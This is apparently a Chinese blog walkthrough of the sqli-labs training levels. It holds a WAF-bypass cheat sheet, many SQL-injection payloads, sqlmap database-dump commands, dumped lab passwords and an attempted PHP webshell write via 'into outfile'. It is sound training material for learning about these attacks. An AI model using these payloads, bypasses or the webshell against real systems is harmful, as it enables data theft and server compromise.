SQL-LIBS闯关挑战 1-65

SQL-LIBS闯关挑战 1-65

正式开始!

整体解决思路:

1.根据页面提示结合实际页面显示情况,做基本判断,如果是盲注型,则说明没有回显,无论是错误的结果还是正确的结果;先尝试拼接XXX and 1=1 和xxx and 1=1

2.根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试,不带引号,单引号,双引号,圆括号,单引号+圆括号,双引号+圆括号;

3.如果根据提示,和以上尝试发现还是没有办法获取有用信息,database(),则可以考虑分析源代码;

4.通常 使用 order by 来判断列的数量的时候,基本上都是3列。

5.进行 bollen 盲注是,先使用已知的:and length(database())=8 和 and length(database())=7进行判断,进而subsrt(database(),1,1)='s’进而获得进一步结果;

6.更新类的操作只能靠报错注入

7.如果没有思路,可能是 ’ 和“被转移了;可以输入宽字节:%df和%af %ff之类的GBK标准编码;可以绕过一些 函数;%23是单引号;

8.报错注入:updatexml(1,concat(0x7e,database(),0x7e),1)

​ dsan13 406118

绕过的思路:

手动绕过
一:空格被过滤

当空被过滤掉的时候(也就是被删掉的意思)问你就可以使用编码或者注释进行绕过

%20,%09,/**/ /注释/%0a,%0b,%0c,%0d,%a0
二:空格被过滤,括号未被过滤

像这样的select(admin())from data where(1=1)and(2=2)
id=1%27and(sleep(ascii(mid(data()from(1)for(1)))=1))%23
ascii:用字符的ASCII码来寻找

这里用多个括号代表空格

三:逗号绕过—当我们需要用到offset、join、limit这些语句的时候。

使用join:

union select 1,2
/代替成join
union select * from (select 1)a join (select 2)b
使用offset:

limit 2,1代替成limit 1 offset 2
使用like:

select ascii(mid(user(),1,1))=97
/使用like来寻找含有“a”的表(代替了上面的查询绕过了逗号)
select user() like ‘a%’
四:or and not xor绕过

如果在测试过程中出现这三个被过滤我们可以用他们等价的语句进行注入

‘and’等价于’&&’ ‘or’等价于’||’ ‘xor’等价于’|’ ‘not’等价于’!’
五:等号绕过

?id=1 or 1 like 1 /用like代替了等号
?id=1 or 1 rlike 1 /用rlike代替了等号
?id=1 or 1 regexp 1 /用regexp代替了等号
?id=1 or !(1 <> 1)或者1 !(<>) 1 /<> 等价于 != 所以在前面再加一个!结果就是等号了(双重否定变肯定)
六:编码绕过—前提条件是没有对编码进行过滤

/16进制绕过
select * from users where username = user;
select * from users where username = 0x75736572;
/两次url全编码
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2

七:函数代替绕过–当输入函数被禁止时

/当一方函数被禁用时候就可以用另一边的函数进行注入
hex()、bin()等价于ascii()
sleep() 等价于benchmark()
concat_ws()等价于group_concat()
mid()、substr() 等价于substring()
@@user等价于user()
@@datadir 等价于atadir()
八:宽字节绕过–前提条件所输入的单双引号会被转义

%df’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() – qwe
这里我们在单引号前面了一个%df来绕过。

1.less-1

答案
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,database(),3--+ 或者联合查询也可以;

    ?id=1'  or  	updatexml(1,concat(0x7e,database(),0x7e),1) --+(xml升级报错)

?id=1'  and updatexml(1,concat(0x7e,password(),0x7e),1) --+

查询表名:
select group_concat(tables_name)from information_schema.tables where table_schema='security'
http://127.0.0.1/sql/Less-1/?id=1'and updatexml(1,concat(0x7e,(select group_concat(tables_name)from information_schema.tables where table_schema='security'),0x7e),1) --+

1.第一步 


 less -2	报错注入;无法使用联合查询;
 http://127.0.0.1/sql/Less-2/?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+ concat 显示抓取的数据库内容;
 ## 2.2 联合注入

**第一步:**首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+


**第三步:**获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

```ruby
?id=-1'union select 1,database(),version()--+
```

**四步**: 爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

**第五步**:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
http://127.0.0.1/sql/Less-1/?id=-1'  union select 1,2,group_concat(id,username,password) from users --+

2.less-2

http://127.0.0.1/sql/Less-2/?id=-1 union select 1,database(),3 --+
第二关是整数 ; 
第二关:
1.首先判断注入类类型
2.http://127.0.0.1/sql/Less-2/?id=1 and 1=2,经过判断是数字型注入
尝试联合查询 :union select 1,2,3 ,联合查询诸如成功,无过滤;
3.尝试爆数据库表:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 爆表成功:emails,referers,uagents,users
4.尝试爆数据库的列名:http://127.0.0.1/sql/Less-2/
?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users' ;  爆列名成功  获得:id,username,password
5.尝试爆破账号和密码: ?id=-1 union select 1,2,group_concat(id,username,password) from users
6账号密码获取成功:Your Password:1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4,15UHnTaxeax5Z!t8z!H6
http://127.0.0.1/sql/Less-2/?id=-1  and updatexml(1,concat(0x7e,database(),0x7e),1)

3.less-3

http://127.0.0.1/sql/Less-3/?id=') union select 1,2,3 --+

select * from users where id =("$id") LIMit 0,1

第三关:
1.首先判断注入类型:?id = 1
http://127.0.0.1/sql/Less-3/?id=-1') union select 1,2,3 --+ ;经 判断 诸如类型 是 ?id =1')
2.其他的同上;数据表名:emails,referers,uagents,users
http://127.0.0.1/sql/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema ='security'and table_name='uagents' --+
获得列名:Your Password:id,uagent,ip_address,username

4.less-4

?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)  --+
http://127.0.0.1/sql/Less-4/?id=-1") union select 1,2,3 --+

第四关:判断注入类型为 ?id =1")
 其他同上;
 第五关:
 1.判断注入类型,发现为盲注;
 输入 ?id =1 and 1=1 显示;输入?id =1 and 1=2 不回显;
 使用 sqlmap进行拖库;
 第一步: 输入: python sqlmap.py -u  http://127.0.0.1/sql/Less-5?id=1 --dbs 查询数据库名;发现security数据库;
 第二部  查询数据库中的表 python sqlmap.py -u http://127.0.0.1/sql/Less-5/?id=1 --tables -D 'security'得到:| emails   |
| referers |
| uagents  |
| users
三个表:查询数据库表中的列: python sqlmap.py -u http://127.0.0.1/sql/Less-5/?id=1 -T 'users' -D 'security' --columns ;得到Column   | 

5.less-5

updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值

报错注入;updatexml(1,concat(0x7e,database(),0x7e),1)
http://127.0.0.1/sql/Less-5/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ 爆数据库
2.and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#      爆表名
3。123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#爆字段名
 
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
 
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容
http://192.168.102.133/sqli/Less-5/?id=-3' and extractvalue(1,concat(0x7e,user(),0x7e,database())) --+
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+

6 less-6

1.判断注入点:

2.id=2" and 1=2 --+

2.尝试联合注入没有回显

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vl25dZGL-1693300625607)(C:\Users\辉辉\AppData\Roaming\Typora\typora-user-images\image-20230828110341983.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NHsvFlOt-1693300625608)(C:\Users\辉辉\AppData\Roaming\Typora\typora-user-images\image-20230828110417252.png)]

2.尝试报错注入:

updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值

http://192.168.102.133/sqli/Less-6/?id=-2" or  updatexml(1,concat(0x7e,database(),0x7e),3)   or " 注入成功
最后的  or " 也可用注释符替代

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lNwhQc8O-1693300625608)(C:\Users\辉辉\AppData\Roaming\Typora\typora-user-images\image-20230828111223984.png)]

7.less-7

1.判断注入点

试了半天,最后查看源代码发现 :

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
echo $result;
echo $sql;
$row = mysql_fetch_array($result);

好阴险的闭合符.

http://192.168.102.133/sqli/Less-7/?id=1’)) --+

闭合成功.

2.感觉报错注入的话都是这一句[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Rowj7hZc-1693300625608)(C:\Users\辉辉\AppData\Roaming\Typora\typora-user-images\image-20230828120319834.png)]

但是还是得尝试下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UWLhw3NT-1693300625609)(C:\Users\辉辉\AppData\Roaming\Typora\typora-user-images\image-20230828120406073.png)]

果然如此,无报错回显的盲注;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4iwuckkL-1693300625609)(C:\Users\辉辉\AppData\Roaming\Typora\typora-user-images\image-20230828120559855.png)]

代码审计发现 如果$row查询错误,则仅仅输出 这句哈 那么 看来不行了 只能盲注了

http://192.168.102.133/sqli/Less-7/?id=1’)) or sleep(2)–+

确定是 无回显的盲注

那么尝试写入文件吧如果知道绝对路径的话

<?php @eval $_POST['a'];?>,2,3 into outfile "\D:\phpstudy_pro\WWW"

写入失败,不知道啥原因

less-8

http://127.0.0.1/sql/Less-8/?id=1'and length(database()) =8 --+

less-11

  uname=admin' or id =1# &passwd=123123&submit=Submit
  or 为两者有一个是真的即可以正常执行;
  
  报错:uname=n' and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd111=admin&submit=Submit
  less 11 post型注入:
 判断注入方式:
 为post型注入;变量为 uname;BP抓包;设置变量 unmae 
 输入命令: python sqlmap.py -r d:/1.txt -p uname --dbs
 得到结果:数据库名'security'
 输入: python sqlmap.py -r d:/1.txt -p uname -D 'security' --tables
 查询表明;得到user 
 继续查询列名,输入 : python sqlmap.py -r d:/1.txt -p uname -D 'security' -T 'users' -C 'id,users,password'拖库成功;

less-12

uname=n") and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=admin&submit=Submit
 less 12
 1.经测试;是post注入;注入点在username
 可以使用 1' 闭合 
 2.将请求文件放在D:/1.txt 中 使用命令:python sqlmap.py -r d:/1.txt -p passwd -D 'security' -T 'users' -C 'id,password,username' --dump  --level 5 
 直接获得账号密码;
 less 13 14 15 16 17 只是注入方式不同;本质一样的;
 less 18 
 1.根据提示,注入点在 user-Agent 
 python sqlmap.py -r d:/1.txt -p passwd -D 'security' -T 'users' -C 'id,password,username' --dump  --level 5 同样输入此命令 爆库;
 2.测试 
1ess 19 提示refer 提示诸如失败;无法获得账号密码 与上面一样;
less 20

COOKIE 注入;
'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#

13

uname=n" and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=admin&submit=Submit

14

http://192.168.102.133/sqli/Less-14/ POST:uname=admin" or sleep(2) #&passwd=admin&submit=Submit
admin" # 判断闭合为"
admin" and 1=2 #
使用延时盲注判断是否有注入点 admin" or sleep(2) #&passwd=admin&submit=Submit
确定有 使用SQLmap python .\sqlmap.py -r .\1.txt -p uname --dbms=mysql --dbs
成功跑出来

15

http://192.168.102.133/sqli/Less-15/ POST:uname=admin' or sleep(2) #&passwd=admin&submit=Submit
admin' # 判断闭合为"
admin' and 1=2 #
使用延时盲注判断是否有注入点 admin" or sleep(2) #&passwd=admin&submit=Submit
确定有 使用SQLmap python .\sqlmap.py -r .\1.txt -p uname --dbms=mysql --dbs
成功跑出来

16

uname=a") or length(database())=8 #&passwd=123456&submit=Submit
http://192.168.102.133/sqli/Less-16/ POST:uname=admin") or sleep(2) #&passwd=admin&submit=Submit
admin") # 判断闭合为")
admin") and 1=2 #
使用延时盲注判断是否有注入点 admin") or sleep(2) #&passwd=admin&submit=Submit
确定有 使用SQLmap python .\sqlmap.py -r .\1.txt -p uname --dbms=mysql --dbs
成功跑出来

17

这一关有点奇怪,一看就是新的套路;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SL3CciyK-1693300625609)(C:\Users\辉辉\AppData\Roaming\Typora\typora-user-images\image-20230828170807101.png)]

测试注入点,咋样测试uname都不行,最后测试password成功

uname=admin&passwd=admin’ or sleep(2) #&submit=Submit

1’ # 成功报错

18头部注入

靠报错注入
insert into access values(''or updatexml(1,concat(0x7e,database(),0x7e),1)or'')
到此关卡需要知道正确的密码之后才能注入;
实际可操作性不高;

19,20,与18相似;cookie,

'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#
Cookie: uname=admin' or sleep(2)#

GET /sqli/Less-20/index.php HTTP/1.1
Host: 192.168.102.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: uname=admin’ or sleep(2)#
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

21 cooike BASE64编码

23不允许使用注释

select *from users where id=1 limit 0,1

select  *from users where id=1 and 1=2limit 0,1
select  *from users where username='x' limit 0,1
select  * from users where username='x'and'1'='2' limit 0,1
闭合:http://127.0.0.1/sql/Less-23/?id=1' and '1'='1
and updatexml(1,concat(0x7e,database(),0x7e),1)

测试 为注释的过滤;测试,闭合方式为’
http://127.0.0.1/sql/Less-23/?id=-1' union select 1, database(),3 and '1'='1
less 23
1.测试 为注释的过滤;测试,闭合方式为’
http://127.0.0.1/sql/Less-23/?id=-1' union select 1, database(),3 and '1'='1 可以正常回显;

第二部:查询数据库表名:http://127.0.0.1/sql/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1 得到表名 'users'

第三步获取列名:http://127.0.0.1/sql/Less-23/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name ='users'),3 and '1'='1

可以获得 id,password,username
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,UHnTaxea

24

25 不允许使用 and

不允许使用and 要进行url的转码;

& =%26 即可以查询数据库;

http://127.0.0.1/sql/Less-25/?id=-1' %26 updatexml(1,concat(0x7e,database(),0x7e),1) --+
http://127.0.0.1/sql/Less-25/?id=-1'  union select 1,database(),3 --+
亲测两种可以查询数据库;
http://192.168.102.133/sqli/Less-25?id=-2' union select 1,database(),3  --+
http://192.168.102.133/sqli/Less-25?id=-2' OorR updatexml(1,concat(0x7e,DATABASE(),0x7e),3)  --+

26 不允许使用注释

http://127.0.0.1/sql/Less-26/?id=1’ and ‘1’='1

http://127.0.0.1/sql/Less-26/?id=1'%26updatexml(1,concat(0x7e,database(),0x7e),1) %26'1'='1
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 爆表

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0  爆字段

?id=1'||(updatexml(1,concat(0x7e (select(group_concat(passwoorrd,username))from(users))),1))||'0 爆用户

26a 不允许使用注释

http://127.0.0.1/sql/Less-26a/?id=1')  && length(database())=8  &  ('1')=('1

27

1.经判断,27过滤了and 和union 和select 可以使用报错注入;

2.输入http://127.0.0.1/sql/Less-27/?id=1’%26%26’1’=‘1 回显;输入http://127.0.0.1/sql/Less-27/?id=1’%26%26’1’='2 不回显;建议使用报错注入:

3.输入?id=1’or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema=‘security’))),1))or’0 ;爆出数据库名security ;

4.?id=1’or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or’0 爆出密码

2.种方法

27A

1.27为盲注;不能使用联合注入和报错注入;

2.输入leghth可以判断长度;http://127.0.0.1/sql/Less-27a/?id=1" %26length(database())=7%26"1"="1

28

经测试,1’)此为注入点;

同28

29题

 1.进行测试,经测试没有waf,并且为数字型注入;
 2联合注入和报错注入都可以;
 http://127.0.0.1/sql/Less-29/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
 爆出数据库名 ,其他同上;

30题

 http://127.0.0.1/sql/Less-30/?id=-1" union select 1,(select group_concat(table_name) from informatin_shcema.tables where table_schema = 'scurity')  ,3 --+
 http://127.0.0.1/sql/Less-30/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://127.0.0.1/sql/Less-30/?id=-1" union select 1,2,group_concat(id,password,username) from users -+

31题

1.经测试,闭合方式为?id=1")

2.其他方式一样;

32题

第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

img

?id=-1%df%27%20union%20select%201,database(),3%20--+

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

http://127.0.0.1/sql/Less-32/?id=1%df%27and 1=2%23 可以使用宽字节注入;%df是GBK的编码;

1481c7.png)

?id=-1%df%27%20union%20select%201,database(),3%20--+

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

http://127.0.0.1/sql/Less-32/?id=1%df%27and 1=2%23 可以使用宽字节注入;%df是GBK的编码;

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值